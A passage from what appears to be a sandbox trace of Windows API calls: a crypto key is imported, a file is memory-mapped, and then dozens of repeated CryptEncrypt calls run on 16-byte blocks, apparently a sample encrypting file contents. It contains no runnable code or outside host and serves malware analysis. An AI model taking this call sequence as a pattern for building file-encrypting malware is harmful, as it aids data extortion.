pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0155.043] CryptDestroyKey (hKey=0x1639b28) returned 1 [0155.043] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0155.043] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200e, lpName=0x0) returned 0x288 [0155.043] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200e) returned 0x14a0000 [0155.167] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0155.168] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0155.168] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0155.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0155.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.169] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.170] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.171] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.172] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.173] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.174] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 